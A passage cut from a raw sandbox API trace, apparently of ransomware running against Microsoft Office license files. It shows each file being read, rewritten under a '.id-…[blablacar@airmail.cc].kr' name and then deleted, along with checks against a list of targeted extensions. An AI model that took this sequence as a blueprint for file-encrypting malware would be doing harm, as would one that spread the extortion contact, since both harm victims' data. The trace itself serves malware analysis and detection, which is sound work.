lpFileSize=0x2ffff14*=12479) returned 1 [0201.259] CloseHandle (hObject=0x538) returned 1 [0201.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 0x220 [0201.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.259] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.260] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.260] GetLastError () returned 0x0 [0201.260] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x30bf, lpOverlapped=0x0) returned 1 [0201.262] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x30c0, lpOverlapped=0x0) returned 1 [0201.263] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.263] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x10e, lpOverlapped=0x0) returned 1 [0201.263] SetEndOfFile (hFile=0x550) returned 1 [0201.263] CloseHandle (hObject=0x550) returned 1 [0201.263] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.264] SetEndOfFile (hFile=0x538) returned 1 [0201.457] CloseHandle (hObject=0x538) returned 1 [0201.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 1 [0201.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.744] lstrlenW (lpString=".doc") returned 4 [0201.744] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.744] lstrlenW (lpString=".docx") returned 5 [0201.744] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.744] lstrlenW (lpString=".pdf") returned 4 [0201.744] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.744] lstrlenW (lpString=".xls") returned 4 [0201.745] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.745] lstrlenW (lpString=".xlsx") returned 5 [0201.745] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.745] lstrlenW (lpString=".ppt") returned 4 [0201.745] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.745] lstrlenW (lpString=".zip") returned 4 [0201.745] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.745] lstrlenW (lpString=".rar") returned 4 [0201.745] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.745] lstrlenW (lpString=".bz2") returned 4 [0201.745] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.745] lstrlenW (lpString=".7z") returned 3 [0201.745] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.745] lstrlenW (lpString=".dbf") returned 4 [0201.745] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.745] lstrlenW (lpString=".1cd") returned 4 [0201.745] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.745] lstrlenW (lpString=".jpg") returned 4 [0201.745] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.746] lstrlenW (lpString=".doc") returned 4 [0201.746] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.746] lstrlenW (lpString=".docx") returned 5 [0201.746] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.746] lstrlenW (lpString=".pdf") returned 4 [0201.746] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.746] lstrlenW (lpString=".xls") returned 4 [0201.746] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.746] lstrlenW (lpString=".xlsx") returned 5 [0201.746] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.746] lstrlenW (lpString=".ppt") returned 4 [0201.746] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.746] lstrlenW (lpString=".zip") returned 4 [0201.746] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.746] lstrlenW (lpString=".rar") returned 4 [0201.746] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.746] lstrlenW (lpString=".bz2") returned 4 [0201.746] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.746] lstrlenW (lpString=".7z") returned 3 [0201.746] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.746] lstrlenW (lpString=".dbf") returned 4 [0201.746] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.747] lstrlenW (lpString=".1cd") returned 4 [0201.747] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0201.747] lstrlenW (lpString=".jpg") returned 4 [0201.747] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.747] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.747] lstrlenW (lpString="O365BusinessR_Grace-ul-oob.xrm-ms") returned 33 [0201.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0202.151] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11624) returned 1 [0202.151] CloseHandle (hObject=0x538) returned 1 [0202.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 0x220 [0202.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.295] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.295] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.296] GetLastError () returned 0x0 [0202.296] ReadFile (in: hFile=0x534, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d68, lpOverlapped=0x0) returned 1 [0202.298] WriteFile (in: hFile=0x3e8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0202.299] ReadFile (in: hFile=0x534, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.299] WriteFile (in: hFile=0x3e8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x116, lpOverlapped=0x0) returned 1 [0202.299] SetEndOfFile (hFile=0x3e8) returned 1 [0202.299] CloseHandle (hObject=0x3e8) returned 1 [0202.299] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.299] SetEndOfFile (hFile=0x534) returned 1 [0202.302] CloseHandle (hObject=0x534) returned 1 [0202.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 1 [0202.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.303] lstrlenW (lpString=".doc") returned 4 [0202.303] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.303] lstrlenW (lpString=".docx") returned 5 [0202.303] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.303] lstrlenW (lpString=".pdf") returned 4 [0202.303] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.303] lstrlenW (lpString=".xls") returned 4 [0202.303] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.303] lstrlenW (lpString=".xlsx") returned 5 [0202.303] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.304] lstrlenW (lpString=".ppt") returned 4 [0202.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.304] lstrlenW (lpString=".zip") returned 4 [0202.304] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString=".rar") returned 4 [0202.304] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString=".bz2") returned 4 [0202.304] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString=".7z") returned 3 [0202.304] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.304] lstrlenW (lpString=".dbf") returned 4 [0202.304] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.304] lstrlenW (lpString=".1cd") returned 4 [0202.304] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.304] lstrlenW (lpString=".jpg") returned 4 [0202.304] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.304] lstrlenW (lpString=".doc") returned 4 [0202.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString=".docx") returned 5 [0202.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.304] lstrlenW (lpString=".pdf") returned 4 [0202.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString=".xls") returned 4 [0202.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.304] lstrlenW (lpString=".xlsx") returned 5 [0202.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.304] lstrlenW (lpString=".ppt") returned 4 [0202.305] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.305] lstrlenW (lpString=".zip") returned 4 [0202.305] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.305] lstrlenW (lpString=".rar") returned 4 [0202.305] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.305] lstrlenW (lpString=".bz2") returned 4 [0202.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.305] lstrlenW (lpString=".7z") returned 3 [0202.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.305] lstrlenW (lpString=".dbf") returned 4 [0202.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.305] lstrlenW (lpString=".1cd") returned 4 [0202.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83 [0202.305] lstrlenW (lpString=".jpg") returned 4 [0202.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.305] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.305] lstrlenW (lpString="O365HomePremR_Subscription1-ppd.xrm-ms") returned 38 [0202.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.306] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=26541) returned 1 [0202.306] CloseHandle (hObject=0x534) returned 1 [0202.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 0x220 [0202.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.307] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.307] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.308] GetLastError () returned 0x0 [0202.308] ReadFile (in: hFile=0x534, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x67ad, lpOverlapped=0x0) returned 1 [0202.311] WriteFile (in: hFile=0x3e8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x67b0, lpOverlapped=0x0) returned 1 [0202.313] ReadFile (in: hFile=0x534, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.313] WriteFile (in: hFile=0x3e8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x120, lpOverlapped=0x0) returned 1 [0202.313] SetEndOfFile (hFile=0x3e8) returned 1 [0202.313] CloseHandle (hObject=0x3e8) returned 1 [0202.314] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.314] SetEndOfFile (hFile=0x534) returned 1 [0202.317] CloseHandle (hObject=0x534) returned 1 [0202.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 1 [0202.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.319] lstrlenW (lpString=".doc") returned 4 [0202.319] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.319] lstrlenW (lpString=".docx") returned 5 [0202.319] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.319] lstrlenW (lpString=".pdf") returned 4 [0202.319] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.319] lstrlenW (lpString=".xls") returned 4 [0202.319] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.319] lstrlenW (lpString=".xlsx") returned 5 [0202.319] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.319] lstrlenW (lpString=".ppt") returned 4 [0202.319] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.319] lstrlenW (lpString=".zip") returned 4 [0202.319] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.319] lstrlenW (lpString=".rar") returned 4 [0202.319] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.319] lstrlenW (lpString=".bz2") returned 4 [0202.319] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.319] lstrlenW (lpString=".7z") returned 3 [0202.319] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.320] lstrlenW (lpString=".dbf") returned 4 [0202.320] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.320] lstrlenW (lpString=".1cd") returned 4 [0202.320] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.320] lstrlenW (lpString=".jpg") returned 4 [0202.320] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.320] lstrlenW (lpString=".doc") returned 4 [0202.320] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString=".docx") returned 5 [0202.320] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.320] lstrlenW (lpString=".pdf") returned 4 [0202.320] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString=".xls") returned 4 [0202.320] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString=".xlsx") returned 5 [0202.320] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.320] lstrlenW (lpString=".ppt") returned 4 [0202.320] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.320] lstrlenW (lpString=".zip") returned 4 [0202.320] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString=".rar") returned 4 [0202.320] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString=".bz2") returned 4 [0202.320] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.320] lstrlenW (lpString=".7z") returned 3 [0202.320] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.320] lstrlenW (lpString=".dbf") returned 4 [0202.321] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.321] lstrlenW (lpString=".1cd") returned 4 [0202.321] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0202.321] lstrlenW (lpString=".jpg") returned 4 [0202.321] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.321] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.321] 